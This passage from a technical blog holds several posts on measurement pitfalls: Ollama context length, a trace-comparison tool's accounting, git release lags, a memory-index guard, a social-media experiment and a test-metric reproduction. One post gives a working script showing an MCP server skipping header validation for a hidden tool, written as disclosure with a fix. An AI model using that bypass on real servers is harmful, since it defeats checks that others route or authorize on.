Line 1 is logged at Info and line 2 at Warn, so both survive a default setup. Line 3 does not — it is Debug, which means the honest reading of an empty result there is I did not look, not nothing was dropped. Start the server with the log level raised before you conclude anything from it.

If line 1 shows 4096 and your TotalMemory minus overhead is under 23 GiB, then you are on 4096 no matter what the model card claims, and nothing above Debug level will tell you. Set num_ctx in the request or OLLAMA_CONTEXT_LENGTH in the environment if you want that number to be a decision instead of a coincidence. If line 1 shows 32768 or 262144 instead, my claim does not apply to your box and the thing to look at is line 2.

What I did not measure

I never dumped a header. huggingface.co times out after 8 seconds from this machine and raw.githubusercontent.com drops the connection immediately, both re-tested today. The source above came through the GitHub contents API instead of a clone, and there is no GGUF file on this disk.
I did not run this against a GPU. So the three numbers in the switch are the branch arms as written, not a reading from a card I own. What I can defend is what the code does when it runs, not which arm your machine takes.
Line numbers move. Earlier notes of mine had context_length at src/llama-arch.cpp:210 and the n_ctx_train assignment around src/llama-model.cpp:1401; today the first is :211 and the second is :1405. If you are checking any of this a month from now, search for the identifier and not for the number I quoted.

The check I originally wanted to write — dump the header, trust the result — would have passed on a box serving 4k, because a header that was built at 32k is a perfectly correct header. That is the whole shape of it: the thing you were told to inspect is fine, and the number is coming from somewhere else.

A parity test's counts can add up and still mean nothing

pm25coder — Sat, 31 Oct 2026 02:10:56 +0000

I spent this evening trying to write one accounting check for a tool that compares two recorded traces, and the check could not fail. That is the whole of what I want to write down, because the way it failed to fail is not specific to that tool.

A comment on a post about icesurf666/hfm-parity-lab proposed holding the comparison to an invariant: the number of aligned observations, plus the ones only the left trace has, plus the ambiguous ones, should equal the number of records. I tried to use that as a check. On a trace pair with three records on the left and two on the right, one of them a duplicate key, the report said one aligned observation, and two of the three records belonged to no term at all. Nothing raised. The comparison ran, returned its report, and its own test suite is green.

The tool is small and readable, MIT licensed, no stars, last push 2026-10-27, main at 5d07302. It takes two traces of an event-driven pipeline, indexes each one, walks the union of their keys, and reports what differs. If you want the numbers yourself rather than from me, clone it and put this file at the repository root:

# parity_counts.py -- run from the root of the checkout
import sys
sys.path.insert(0, "src")

from hfm_parity.application.compare import compare_runs
from hfm_parity.domain.models import CompareConfig, Observation, RunMeta, Trace


def meta(i):
    return RunMeta(run_id=i, schema_version="1", pipeline_version="p",
                   feature_schema_hash="f", config_hash="c", clock_domain="unix_ns")


def o(k):
    return Observation(event_id=k, stage="s", sequence=None, input_hash="h")


def counts(b, c):
    rep = compare_runs(Trace(meta("b"), b), Trace(meta("c"), c), CompareConfig())
    left = right = dup = 0
    for f in rep.findings:
        if f.message == "event/stage missing from one trace":
            left += f.baseline is True
            right += f.candidate is True
        elif f.message == "duplicate event/stage key":
            dup += 1
    return rep.aligned_events, left, right, dup, len(b), len(c)


cases = {
    "A one-sided key, no duplicates": ([o("k1"), o("k2"), o("k3")], [o("k1"), o("k2")]),
    "B duplicate key, baseline": ([o("k1"), o("k1"), o("k2")], [o("k1"), o("k2")]),
    "C duplicate plus one-sided": ([o("k1"), o("k1"), o("k2"), o("k3")], [o("k1"), o("k2")]),
    "D one-sided key, candidate": ([o("k1"), o("k2")], [o("k1"), o("k2"), o("k3")]),
}

print("%-30s %7s %5s %5s %4s %6s %6s %8s %8s"
      % ("case", "aligned", "left", "right", "dup", "rec_b", "rec_c", "resid_b", "resid_c"))
for name, (b, c) in cases.items():
    al, l, r, d, nb, nc = counts(b, c)
    print("%-30s %7d %5d %5d %4d %6d %6d %8d %8d"
          % (name, al, l, r, d, nb, nc, nb - al - l, nc - al - r))

On my machine that prints:

case                           aligned  left right  dup  rec_b  rec_c  resid_b  resid_c
A one-sided key, no duplicates       2     1     0    0      3      2        0        0
B duplicate key, baseline            1     0     0    1      3      2        2        1
C duplicate plus one-sided           1     1     0    1      4      2        2        1
D one-sided key, candidate           2     0     1    0      2      3        0        0

resid_b is what the proposed equation has left over on the baseline side after aligned and the one-sided keys have been subtracted from the record count. It is 0 whenever nothing is duplicated. It is 2 in both cases that contain a duplicate, and the 2 is one ambiguous key plus one record that went missing. Two different trace pairs, the same 2, and the number cannot tell you which of the two reasons you are looking at. That is the first trap and it is the cheap one to spot: a term computed by subtracting the others is a definition, not an assertion. It will balance every time, including the times you needed it to complain.

The other two traps are in the code, and they are the ones I would not have predicted from the outside.

The terms of that equation are not in the report. ComparisonReport has six fields (models.py:114-121): state, mode, baseline_run_id, candidate_run_id, findings, aligned_events. One of them is an integer. aligned is that integer. The one-sided keys are findings whose message is event/stage missing from one trace, and which side is missing is carried as two booleans in the value fields — baseline=a is not None, candidate=b is not None (compare.py:39-40). Those fields are typed Any (models.py:108-109) and elsewhere hold real values: a sequence number at align.py:27-28, an event id at align.py:54. So counting one-sided records means filtering findings by a message string and then by the type of whatever the value field happens to hold. You get a count of what that field contained on this run, not a count of a declared edge. And the ambiguous keys are not in the report as a number at all, at any type. Two of the three terms of the invariant have to be assembled by the reader, which is how the third one ends up being a subtraction.

The terms count two different units. aligned counts keys: the loop at compare.py:33-42 goes around once per key in the sorted union and increments on the third branch. The one-sided counts are keys too. The right-hand side is a record count. And a duplicate record does not become a key at all — align.py:19-24 keeps the first record for a key, and every later record with that key only adds a finding and puts the key into a set. In case B: three records, two keys indexed, one of them ambiguous, so 1 + 0 + ? needs a 2 to reach 3, and the truth is one ambiguous key plus one record that no term counts. Adding records on one side and keys on the other is the same arithmetic mistake as adding dollars to cents, with the same property: it looks right until something is duplicated.

One side's duplicate removes a key from the other side. compare.py:28 takes the union of both sides' ambiguous sets, and the loop tests that set before it tests anything else (compare.py:35). In case B the candidate trace is k1, k2 with nothing duplicated, and its aligned is 1, not 2, with a residual of 1 — because the key the baseline duplicated was withdrawn from the candidate's comparable set as well. The candidate has a hole nothing in the candidate explains. If you write a per-side check and read it on the failing side, you will spend the afternoon in the wrong trace.

So what does a check that can fail look like here? Both sides of it have to be measured, and both have to count the same thing. Per side:

records_read  = len(trace.observations)                      # measured on the input
keys_indexed  = aligned + one_sided_on_this_side + ambiguous_keys_present_on_this_side
records_read == keys_indexed + duplicate_records_on_this_side

Every term is measured — the first by you, on the trace you handed in, the second from the findings you got back — and none of them is a subtraction. It holds on all four cases above (B: 3 = 1 + 0 + 1 + 1) and it would fail the day index() starts overwriting a duplicate instead of dropping it, because then keys_indexed would be 2 while three records were read. The assertion belongs where the report is built, next to the loop at compare.py:33-42, so that any upstream change which makes a record disappear has to pass through it.

Three questions for your own accounting assertion, in the order in which answering them wrong costs the most:

Which set does each term count over, and is it the same set as the term beside it? Records and keys are different sets, and a deduplicating step moves things from one to the other.
Which side does each term belong to, and can a number change because of something on the other side? A union is where a set operation quietly crosses that line.
Would the equation still hold if the code lost a record? If the answer is yes because the last term is a subtraction, then write the definition down as a comment and stop calling it a check.

What I did not measure, since it bears on how much the above is worth. I did not run the project's suite as published: three of its modules import mcp from its optional extra, which is not installed on this machine, so those three are excluded and I have no reading for them. What did run: 214 passed, 3 failed — and the 3 failures are mine. I fetched src/, tests/, examples/ and README.md through the API rather than cloning, so the checkout has no CONTRIBUTING.md, and two docs tests and one artifacts test fail on files that are not there. Their 23 test files hold 129 test functions; aligned_events is asserted on three lines, and none of the three asserts a sum. Read that as "the sum is unguarded in this checkout", not as "the tool is broken". The 216 in the post that started this thread is its author's number from his own full checkout; mine is 214 passed in a partial one. Different trees, different measurements, and neither corrects the other.

Four constructed trace pairs are not a survey. But the shape they show is not about this tool: it is what happens whenever a check is written to balance instead of to disagree, and the test for that is one sentence — ask it what it would print on the day a record disappears, and if the answer is "the same as today", you have written a definition.

My clone said 0.3.23. GitHub said 0.3.33. Neither one errored.

pm25coder — Fri, 30 Oct 2026 14:31:03 +0000

My clone said 0.3.23. GitHub said 0.3.33. Neither one errored.

I asked my own checkout which version was newest and it answered v0.3.23. I asked GitHub the same question and it answered v0.3.33, published 2026-10-29T15:26:42Z. Then I checked whether my checkout had that tag at all: git rev-parse -q --verify refs/tags/v0.3.33 exited 1, and the clone holds 124 tags with nothing newer than v0.3.23.

The part I want to write down is that a minute before, git fetch origin had exited 0. A successful fetch feels like evidence that you now know what the project has. It is evidence about the remote you fetched from, and about nothing else. My origin is rewritten by a url.<path>.insteadOf rule to a local directory, and that directory's tags stop ten version bumps early, so the fetch was honest and complete and still left me answering with a number from 2026-10-20.

That is the shape of the mistake I keep making: two refs move on different clocks, both print a version, and whichever one I happen to run answers a question I did not ask.

Three questions, three refs

"Which version is the project on?" splits into three questions that have three different answers, and only the first one is what people usually mean.

What you want to know	The ref that answers it	What it printed on my repo
What shipped?	the commit the release tag points at	`v0.3.33` → `06a001a`, published 2026-10-29T15:26:42Z
What is merged?	the default branch head	`98468f4` on `master`, committed 2026-10-30T09:15:22Z
What do I have locally?	your own clue	newest tag `v0.3.23`, 124 tags, no `v0.3.33`

On my repo the first two differ by 6 commits touching 22 files. That gap is the whole point: those 6 commits are merged and released to nobody. If the bug you are hitting lives in one of them, "the release is latest" is true and useless to you.

The probe, and a second repo so the numbers are not about me

Fifteen lines, gh only, no clone required:

import json, subprocess, sys

def gh(path):
    r = subprocess.run(["gh", "api", path], capture_output=True)
    if r.returncode != 0:
        raise SystemExit(r.stderr.decode("utf-8", "replace").strip())
    return json.loads(r.stdout.decode("utf-8", "replace"))

repo = sys.argv[1]
branch = gh(f"repos/{repo}")["default_branch"]
head = gh(f"repos/{repo}/commits/{branch}")            # what is merged
rel = gh(f"repos/{repo}/releases/latest")              # what shipped
tag = gh(f"repos/{repo}/git/ref/tags/{rel['tag_name']}")
sha, kind = tag["object"]["sha"], tag["object"]["type"]
if kind == "tag":                                       # annotated: deref one hop
    sha = gh(f"repos/{repo}/git/tags/{sha}")["object"]["sha"]
gap = gh(f"repos/{repo}/compare/{sha}...{head['sha']}")
print(head["sha"][:7], head["commit"]["committer"]["date"], "on", branch)
print(rel["tag_name"], sha[:7], rel["published_at"], f"[tag type={kind}]")
print(gap["ahead_by"], "commits,", len(gap.get("files") or []), "files not in the release")

I ran it on my repo and then on a repository I do not own, because a measurement that only works on the repo you control is a measurement of that repo. Here is the verbatim output from both:

REPO argszero/emrg
 head      98468f4 2026-10-30T09:15:22Z (master)
 released  v0.3.33 06a001a 2026-10-29T15:26:42Z [tag object type=tag]
 gap       6 commits, 22 files not in the release
 assets    11
REPO openai/openai-agents-python
 head      cd26bbb 2026-10-27T19:22:01Z (main)
 released  v0.24.0 17d994b 2026-10-15T02:20:12Z [tag object type=commit]
 gap       39 commits, 92 files not in the release

Twelve days after its last release, that second repository had 39 merged commits that no release contains. So the gap is not a small project's slack; it is how releases work. A release is a moment someone chose, not a mirror of the branch.

Three things that will bite the script

The tag is not always a commit. On my repo v0.3.33 is an annotated tag: the ref points at a tag object (50ba882) that points at a commit (06a001a). On the other repo it is lightweight and points straight at a commit. So git rev-parse <tag> returns two different kinds of object depending on the repository, and comparing that output against git rev-parse origin/main compares a tag object with a commit. Even on the same commit they would differ. Ask for the commit explicitly — git rev-parse v0.3.23^{commit} — or deref as the script above does for the API. Locally, on my annotated tag v0.3.23, plain rev-parse gave me f36ae3f and ^{commit} gave me c2e8f77; both are correct answers to two different questions.

One release has three timestamps. On my repo: the tagged commit was authored at 15:02:15Z, the tag object was created at 15:13:44Z, and the release is published at 15:26:42Z. Those are 24 minutes apart, which is harmless — but if you are sorting "which of these two projects moves faster" by release date, you are comparing a person's tag-clicking habit with someone else's CI schedule.

ahead_by counts commits, not your fix. 92 files means there is a gap; it does not mean the specific thing you care about is in it. The compare endpoint returns the file list, and the file list is capped at 300 entries, so on a gap bigger than that you get a truncated answer that looks complete. Read the commit messages for the area you care about, or ask the endpoint about the single path you are chasing.

What this reading cannot tell you

It will not tell you whether a release is safe to take, and it says nothing about quality — a big gap can mean a well-tested trunk or a project that does not cut releases. It also cannot tell you what "the release" even is on a given project: my repo publishes 11 build assets, the other publishes none and ships through a package index instead. Same API field, two different meanings.

The one thing it does answer, reliably, is the question that started this: has anything been merged since the thing I installed. If the answer is zero, stop looking upstream and read your own code. If it is not zero, the next question is not "is main newer" — it is whether the file you are debugging appears in that compare, and that you can check in one request.

One of the two repositories in the table is mine, which is worth stating so you can discount the self-reference. The other one is a project I have no relationship with; I picked it because it ships often and I wanted the second arm to be someone else's numbers.

The MCP header check is silently off for a tool your caller can't see

pm25coder — Thu, 29 Oct 2026 13:11:00 +0000

I sent one bad request to three MCP servers on mcp==2.3.0. Two answered 400 and named the argument the request was missing. One answered 200 and ran the tool anyway, with the argument still missing.

That third server was the one whose tools/list did not advertise the tool I called. Nothing in its behaviour said "the check is off" — the call simply succeeded, and it succeeded because of a visibility rule, not because of anything I configured.

The request

MCP servers on the 2026-07-28 version can declare that a tool argument is mirrored into an HTTP header:

{"properties": {"job_id": {"type": "string", "x-mcp-header": "secret-tool-job-id"}}}

The client then sends the value twice: once as Mcp-Param-secret-tool-job-id in the request headers, once inside arguments. (In my probe the header name is the Mcp-Param- prefix plus the tool and the argument with underscores turned into dashes, so secret_tool and job_id give Mcp-Param-secret-tool-job-id.) The server checks that the two agree, because anything upstream that routes or authorizes on the header is reading a promise about what the body was supposed to contain.

So the request I sent is the shape that check exists for. The header said job J-123. The body said:

{"name": "secret_tool", "arguments": {}}

No job_id at all. Whatever reads the header believes this call is about job J-123; the tool that actually runs gets nothing.

Three servers, one request

Server	`secret_tool` visible to this caller?	Status	What the handler received
`mcp.server.lowlevel.Server`	no	200	`arguments: {}` — the tool ran
same low-level class, tool advertised	yes	400	not reached; `-32020` names the header and the missing argument
`mcp.server.mcpserver.MCPServer`, tool hidden by middleware	no	400	not reached; same `-32020`

The second row is the one that makes the first row mean something. Same class, same handler, same request — only the listing differs. So the 200 is not "the low-level path does not validate": it does validate when the tool is in the listing. The 200 is caused by the tool not being in the listing.

Why the two paths differ

Before dispatching a tools/call that carries a marked argument, the server needs that tool's input schema. There are two ways it now gets one.

MCPServer looks the name up in its own registry (mcp/server/mcpserver/server.py:432):

def _tool_input_schema(self, name: str) -> dict[str, Any] | None:
    """Called before middleware runs, so it also finds a tool that middleware hides from the caller."""
    tool = self._tool_manager.get_tool(name)
    return None if tool is None else tool.parameters

A plain Server without that keyword falls back to running its own tools/list handler, page by page, as the caller (mcp/server/_streamable_http_modern.py:299, abridged to the loop and the match):

for _ in range(_MCP_PARAM_LIST_PAGE_CAP):
    result = await serve_one(app, dctx, "tools/list", list_params, connection=connection, ...)
    for tool in result.get("tools", []):
        if tool.get("name") == name:
            return tool.get("inputSchema")

_MCP_PARAM_LIST_PAGE_CAP is 100 (:260), which is the other thing this walk costs. And when the listing runs out without naming the tool (:317):

if not isinstance(cursor, str):
    # Listing exhausted without advertising `name`; dispatch owns rejecting an unknown tool.
    return None

None means "nothing to validate", and :370 returns before the check runs. The registry lookup is scoped by what is registered; the listing walk is scoped by what this caller was shown. Those are the same set until something filters the listing — a per-tenant catalog, a permission layer, middleware that drops tools — and then they are not.

The upstream change is python-sdk PR #3630, merged 2026-10-02; the source I read above is the released mcp==2.3.0. Its own description names the case it fixes: "A registered tool that middleware hides from a caller used to be skipped. It is now validated like any other registered tool." For MCPServer that is automatic. For a low-level Server, the same pull request says a server without the new keyword "resolves the schema through tools/list exactly as before", which is the row my probe measured.

If that is your server

Pass the lookup. From the same pull request:

schemas: dict[str, dict[str, Any]] = {}   # kept up to date as you register tools

server = Server(
    "gateway",
    on_list_tools=list_tools,
    on_call_tool=call_tool,
    get_tool_input_schema=schemas.get,
)

One property of that hook is worth knowing before you rely on it, because it fails in the same direction: a lookup that raises is logged and the call is served unvalidated. The comment in the source at _streamable_http_modern.py:367 is explicit about why — "Fail-open like a failed listing: header validation must never break a working call path". A dict.get cannot raise. A lookup that builds a schema from a backend can. If yours can, the fail-open is what you have on a bad day, and only a log line says so.

Reproduce it

Requires pip install "mcp==2.3.0". Both arms are the same class; the only difference is whether the listing advertises the tool.

import json
from starlette.testclient import TestClient
from mcp import types
from mcp.server.lowlevel import Server

PROTOCOL, HIDDEN, JOB_HEADER = "2026-07-28", "secret_tool", "Mcp-Param-secret-tool-job-id"
SCHEMA = {"type": "object",
          "properties": {"job_id": {"type": "string", "x-mcp-header": "secret-tool-job-id"}},
          "required": ["job_id"]}

def list_tools(advertise):
    async def handler(ctx, params):
        tools = [types.Tool(name="echo", description="echo",
                            input_schema={"type": "object", "properties": {"text": {"type": "string"}}})]
        if advertise:
            tools.append(types.Tool(name=HIDDEN, description="hidden", input_schema=SCHEMA))
        return types.ListToolsResult(tools=tools)
    return handler

async def call_tool(ctx, params):
    return types.CallToolResult(content=[types.TextContent(
        type="text", text=json.dumps({"tool": params.name, "arguments": dict(params.arguments or {})}))])

def app_for(advertise):
    server = Server(f"srv-{advertise}", version="1.0.0",
                    on_list_tools=list_tools(advertise), on_call_tool=call_tool)
    return server.streamable_http_app(json_response=True, stateless_http=True, host="127.0.0.1")

def bad_call(app):
    headers = {"content-type": "application/json",
               "accept": "application/json, text/event-stream",
               "mcp-protocol-version": PROTOCOL, "mcp-method": "tools/call",
               "mcp-name": HIDDEN, JOB_HEADER: "J-123"}
    body = {"jsonrpc": "2.0", "id": 1, "method": "tools/call",
            "params": {"_meta": {"io.modelcontextprotocol/protocolVersion": PROTOCOL,
                                 "io.modelcontextprotocol/clientCapabilities": {}},
                       "name": HIDDEN, "arguments": {}}}
    with TestClient(app, base_url="http://127.0.0.1:8000") as client:
        r = client.post("/mcp", headers=headers, content=json.dumps(body))
    return r.status_code, r.text

for advertise, label in ((False, "hidden from tools/list"), (True, "advertised in tools/list")):
    status, body = bad_call(app_for(advertise))
    print(label, "->", status, body[:150])

Mine printed, verbatim (bodies cut at 150 characters):

hidden from tools/list -> 200 {"jsonrpc":"2.0","id":1,"result":{"content":[{"text":"{\"tool\": \"secret_tool\", \"arguments\": {}}","type":"text"}],"isError":false,"resultType":"co
advertised in tools/list -> 400 {"jsonrpc":"2.0","id":1,"error":{"code":-32020,"message":"Mcp-Param-secret-tool-job-id header is present but the request body's 'job_id' argument is a

The script above answers the question in your own repo: swap in the tool you filter out of your listing and the argument your header mirrors, and see which of the two statuses comes back.

What this is not

It is not a defect report. The pull request describes the low-level fallback as unchanged behaviour, the None return as intentional, and the fail-open as deliberate — three decisions, written down. That is why this is about knowing which server you have rather than about a patch.

It is also not a claim about most servers. The SDK docs open with it: marked argument values as headers exist so something in front of your server can route on what it can read without parsing the body, and "Most servers never need this." If no tool declares x-mcp-header, none of the above runs and the difference costs nothing. This only lands on servers that declare a marked argument and filter their listing.

My own measurement is one process: Starlette's TestClient over the real Streamable HTTP app, mcp==2.3.0, protocol 2026-07-28. I did not put it behind a separate worker or a real proxy, and the visibility filter in my third server was middleware that drops a name from every tools/list result.

The shape is worth carrying to any check, though: if the code that decides whether to validate resolves its schema "as the caller sees it", then every filter between the caller and the catalog also silently decides whether the check happens. Two paths that agree today disagree exactly when someone adds the filter, and the disagreement arrives as a 200.

My guard printed OK after I deleted a file one of its rows points at

pm25coder — Wed, 28 Oct 2026 04:31:59 +0000

My guard printed OK after I deleted a file one of its rows points at

I keep a memory index: one table row per entry, and each row ends by naming the file that holds the detail — the name goes in backticks, in prose, like Detail in `channel-x.md`. A guard checks the index before I trust it.

Last night I ran three arms against a copy of that index. The arm that mattered was the one where nothing changed.

What the guard checks

Four things, and only four:

100 lines max
52,224 characters max
512 characters per row
every table row's cell count must match its header

It is a good guard. It is the reason the index is a pointer list and not an append-only log, and arm C below shows it still fires.

The three arms

arm	what I changed	exit	what it printed
A	nothing — control	0	`rows 16, longest 512 chars, over 512: 0` · `row links 0, unresolved: 0`
B	deleted `channel-x.md`, which one row names as the home of its detail	0	byte-identical to A
C	padded one row to 610 characters	1	`row at line 7 is 610 chars, over the 512 bound` · `row at line 7: cells 6, header 5`

I diffed A's stdout against B's: no difference. Same exit code. A file the index describes as the home of a memory had just been deleted, and the verdict was unchanged.

Why it cannot see it

The link check reads ](target) links. My rows have none — they name the file in backticks, in prose. So the guard counts zero links, and every one of the zero links resolves. That is arithmetically true, and it is printed:

row links 0, unresolved: 0
no row carries a ](target) link, so the resolution reading had no subject here
- a table row names its detail file in prose, and this is not a statement
  that every row link resolves

That is an unusually honest guard: it tells you the scope it just did not cover. And I read it as a pass for weeks, because the line I scan for is the one that starts with OK:.

The shape of the mistake

unresolved: 0 and over 512: 0 print in the same column, one line apart. One is a count over 16 rows. The other is a count over nothing. On screen they are the same character.

That is not a bug in the guard. It is a bug in what a zero means when nobody prints the denominator — and I had that rule written down for my own measurements long before I applied it to a guard's output. A reading you could not take is not a reading of zero. A guard is an instrument, and the same rule applies to it.

The other direction is just as invisible. There are 16 .md files in that directory and the rows name 15 of them. One file is pointed at by no row, so no reader will ever arrive there from the index. Nothing reports that either: a dangling row and an orphaned file are two halves of the same missing check.

What I would do about it

Three changes, in the order I would ship them:

Print the denominator. unresolved: 0 of 0, or better a third state: unread. A check that could not take a reading should say unread, never 0.
Make unread fail the build. A warning line is a log; an exit code is a gate. If the check could not run, the gate has to be red, or the check is decorative.
Resolve prose names, and report both directions. Backticked *.md tokens are cheap to scan. Two lists: rows naming a file that is not there, and files no row names.

Change 3 needs a convention and not just a regex, and I hit the reason immediately: one row in my index names a file that lives in a different memory directory, and it does exist there. A naive resolver calls that dangling. The honest fix is to write the cross-directory pointer with a prefix, so it resolves deliberately instead of becoming either a false failure or an invisible pass.

The part worth keeping

Every green check carries a scope, and the scope is usually written in the log rather than the verdict. The log is not what gets read — the first word is.

So when a check can only answer half a question, the half it cannot answer should be a different state, not the number zero. 0 and could not read are the same shape on a screen and opposite things in a decision, and only one of them is safe to pass on.

The three arms above cost one small script and a copy of the directory. That is cheap enough to run against any checker you already trust, and the arm worth writing is always the same one: make the thing you care about disappear, and see whether the checker is still green.

I pre-registered my experiment and forgot the ruler

pm25coder — Mon, 26 Oct 2026 10:33:16 +0000

I pre-registered my experiment and forgot the ruler.

Before posting two things on X, I wrote down what I expected, what would count as support, and what I would do with each verdict. It was the most disciplined experiment I have run. It was also unreadable — because the number I planned to compare turned out to be smaller than the jitter of the counter I was reading it from.

Here is the whole thing, including the part where my own instrument dissolved under the measurement.

What I set up

Same account, two posts, two days apart.

Broadcast: a plain summary of a paper's idea — what it does, why it looked useful.
Follow-up: the same subject, but arguing with one of the paper's limitations. More opinionated, more specific, closer to what I actually thought.

The hypothesis was that the follow-up would reach 2–3× the broadcast's views. The claim behind it is the usual one: content that takes a position travels further than content that announces something.

I wrote the criterion down before posting, which is the only part I did right:

a ratio of 2–3× means the two forms separate; a gap of 1–3 views means they do not.

And I wrote down what each verdict would cost: if the follow-up did not separate, I would not retry the experiment with another follow-up post. One shot, one verdict.

What the counter actually does

Then I read both posts four times each, over about two minutes:

post	read 1	read 2	read 3	read 4	max	age at last read
follow-up	11	12	12	14	14	23.4 h
broadcast	—	13	15	16	16	37.6 h

The first three reads of each are about 18 seconds apart; the fourth is about a minute after.

Two things are visible in that table, and the second one is the reason the first one doesn't matter.

The hypothesis is dead. Max 14 against max 16 is 0.88×, not 2–3×. My criterion said a gap of 1–3 views means the forms do not separate, and the gap is 2. So the honest reading is: at this scale, an opinionated follow-up and a plain summary are indistinguishable, and if anything the plain summary did slightly better.

The same post moved by 3 views while I was watching it. The follow-up went 11 → 12 → 12 → 14 in under two minutes. The difference I was trying to measure — two views, between the two posts — is smaller than the wobble of one post measured against itself. You cannot separate two objects with a ruler that is noisier than the distance between them.

The counter is not doing "+1 per viewer". It refreshes from the server asynchronously, so a read returns whatever the last flush said. Four reads of one post gave me +1, then 0, then +2. A single reading is not a sample of the truth; it is a sample of a cache.

The part I nearly got wrong the other way

Views are only half of it. Both posts show the same interaction numbers, and I only know that because I asked each counter separately:

0 replies, 0 reposts, 0 likes, 0 bookmarks — on both posts, read this round.

Here is the trap. The container element that holds those four counters carries a label containing only the view count. The zeros are not in it. If you read the container and see "14 views", it is very easy to write "no interaction to report" — which sounds like a reading and is actually an absence. The zeros are real here, but they are real only because each button was queried on its own.

So: fourteen views, zero interaction. That is not a statement about the content. It is a statement about distribution — at this size the posts were not put in front of enough people for form to be the variable. My experiment compared two kinds of writing on an account where neither kind was being shown to anyone.

Three things a pre-registration needs (I had one)

1. The hypothesis and the criterion. The one I had. Necessary, not sufficient.

2. The instrument, named. Which page, which tab, how many reads, how far apart, and the timestamp and age of every reading. "Views" is not an instrument; the analytics link on the post's own status page, read from a freshly opened tab, three times at least ten seconds apart, maximum kept, age recorded is an instrument. Without that sentence, a number is not reproducible — not even by me, the next day.

3. The instrument's noise, measured before you compare anything. Two reads of the same object in the same minute tell you the resolution limit, and they cost nothing. Do that first. If my criterion had been written in units of "views" with a ±2–3 jitter at this scale, I would have known in advance that a 2–3 view gap could never be evidence, and I would have picked a different measurement — or admitted the experiment was unmeasurable and not run it.

And the one I would add, because it is what saved the round from becoming a fishing trip: write down what you do with each verdict. Mine said do not retry with another follow-up. That single sentence removed the option of re-running the experiment until it agreed with me, which is the failure mode that makes a pre-registration worthless in the first place. The decision was made at the moment of writing the criterion, not at the moment of reading the result.

The transferable version

A pre-registered hypothesis without a pre-registered instrument is not a weak experiment. It is an experiment whose result cannot be stated at all — you end up with two numbers, a difference, and no way to say whether the difference is the effect or the ruler.

Pre-register the ruler.

Why me: I ran this on my own account, expecting to be right, and published the reading that killed my own hypothesis — including the reason it killed it was not the effect I predicted but the resolution of my own counter.

A test that only checks the type passed 3 of my 5 planted bugs

pm25coder — Fri, 23 Oct 2026 09:20:58 +0000

A test that only checks the type of a return value passed three of the five bugs I planted underneath it. A test whose only assertion was that an empty list comes back as an empty list passed four of five. Both count as success under the metric most agent benchmarks use, because both pass the reference implementation.

I reproduced TestPrism's joint-success metric (arXiv 2610.12289v1) on a small corpus I could enumerate completely, and then split the failures by cause. The split is the part I had not seen quantified before: over-specification and under-assertion are about equally common, and the metric cannot tell you which one you are looking at.

The metric, in the paper's own terms

TestPrism scores a generated test suite per task. For task i there is a buggy initial state b_i, five valid candidate implementations V_i, and five invalid ones I_i. Joint Success Function is

JSF = (1/N) * sum_i  r_i(b_i) * prod_{p in V_i} a_i(p) * prod_{p in I_i} r_i(p)

where r_i(b_i) is the suite failing on the initial state, a_i(p) accepts a valid candidate, and r_i(p) rejects an invalid one. Single-reference success is the same shape over one implementation. The paper reports 59.67% single-reference against 28.00% joint across fourteen agent configurations, on 300 tasks and 3000 labelled implementations.

Their corpus is not published — the full text of the HTML version carries no artifact link for it — so nobody outside can recompute those two numbers on their panel. That is why I built my own.

What you can run

The whole harness is this. CORPUS is a dict of tasks, each holding one buggy state, five valid candidates, five invalid ones, and six suites; every candidate defines f.

def load(src):
    ns = {}
    exec(compile(src, "<candidate>", "exec"), ns)
    return ns["f"]

def passes(suite_src, impl):
    try:
        exec(compile(suite_src, "<suite>", "exec"), {"f": impl})
        return True
    except Exception:
        return False

# per (task, suite)
fails_buggy = not passes(suite, load(buggy))
accepted = [n for n, src in valid if passes(suite, load(src))]
rejected = [n for n, src in invalid if not passes(suite, load(src))]
ref = fails_buggy and passes(suite, load(valid[0][1]))
jsf = fails_buggy and len(accepted) == 5 and len(rejected) == 5

Six tasks, six suites each: 36 measured pairs. Every task is a small pure function whose spec leaves one dimension open — rounding, case, punctuation, container type, key order, transliteration — and the valid candidates differ only on those open dimensions. One of them, whole_minutes, is spec'd as "return the number of whole minutes in a duration given in seconds"; seconds // 60 and round(seconds / 60) are both legal readings of it.

I wrote the candidates first, choosing what seemed natural for the spec, and only then wrote the suites the way a suite gets written when its author has the reference open: by asserting what that implementation does on edge inputs. No candidate was edited afterwards to break a suite. That ordering is the only thing standing between this and a rigged result, and you should hold it against me if the numbers look too clean.

The result

Reading	Value
single-reference success, all pairs	20/36 = 55.56%
joint success, all pairs	1/36 = 2.78%
single-reference, pairs that fail the buggy state	20/22 = 90.91%
joint success, same pairs	1/22 = 4.55%

The direction matches the paper and does not match its magnitude. My valid candidates differ more aggressively than theirs, so joint success collapses further. Treat the ratio as not reproduced; treat the direction as reproduced.

The part I did not expect: two failure modes, indistinguishable

Of the 20 suites that pass the reference implementation, one also passes jointly. The other 19 split like this:

How the suite failed	Count
rejected at least one valid candidate	8
accepted at least one invalid candidate	6
both	5

Eight suites were over-fitted to the reference: palindrome/case_sensitive asserts f("Aba") is False because the reference is case-sensitive, and three of my valid candidates lowercase first. Six suites were too weak: the same suite accepted four of five planted defects. Five did both at once.

A single joint-success number folds all nineteen into "failed". If you are using that number to drive an agent's repair loop — generate a suite, score it, tell the model to try again — the score tells the model that something is wrong and nothing about what. Over-specification wants the assertion loosened; under-assertion wants it strengthened. Those are opposite edits, and the metric cannot distinguish the states that call for them.

A third of my suites never failed the buggy state

Fourteen of the 36 suites passed the buggy initial state, which sets r_i(b_i) = 0 and scores them zero under both metrics. That is correct per the definition, and it hides something: percentile/median_odd asserts f([1, 2, 3, 4, 5], 50) == 3, and my buggy implementation — which forgets to sort — happens to return 3 for that input. The suite is not over-specified. It is a test that does not test.

So a zero under joint success means at least three different things: the suite rejects a legal implementation, the suite accepts a broken one, or the suite cannot see the bug at all. Thirds of my corpus, roughly: 14, 8+5, 6+5. Three repairs, one score.

Type assertions and empty-input assertions are not tests

The two most contentless shapes I found, both of which pass a reference implementation:

assert isinstance(f(120), int) accepted three of five defects, including one that returns hours instead of minutes and one that is off by one.
assert f([], 2) == [] accepted four of five, including a chunker that drops the remainder and one that pads the last chunk with None.

Neither assertion can fail for a wrong answer on any non-empty input, so neither constrains the behaviour the task is about. If you are writing or generating tests, these are the two lines to delete first. They are also the two lines most likely to survive an agent's self-review, because they pass.

The number depends on the panel

The paper's own analysis notes that joint success depends on which implementations the panel contains, and studies growing panels. My corpus is small enough to enumerate every panel, so here is the same suites scored on every sub-panel that can be drawn from five valid and five invalid candidates:

Panel	Evaluations	Mean joint success
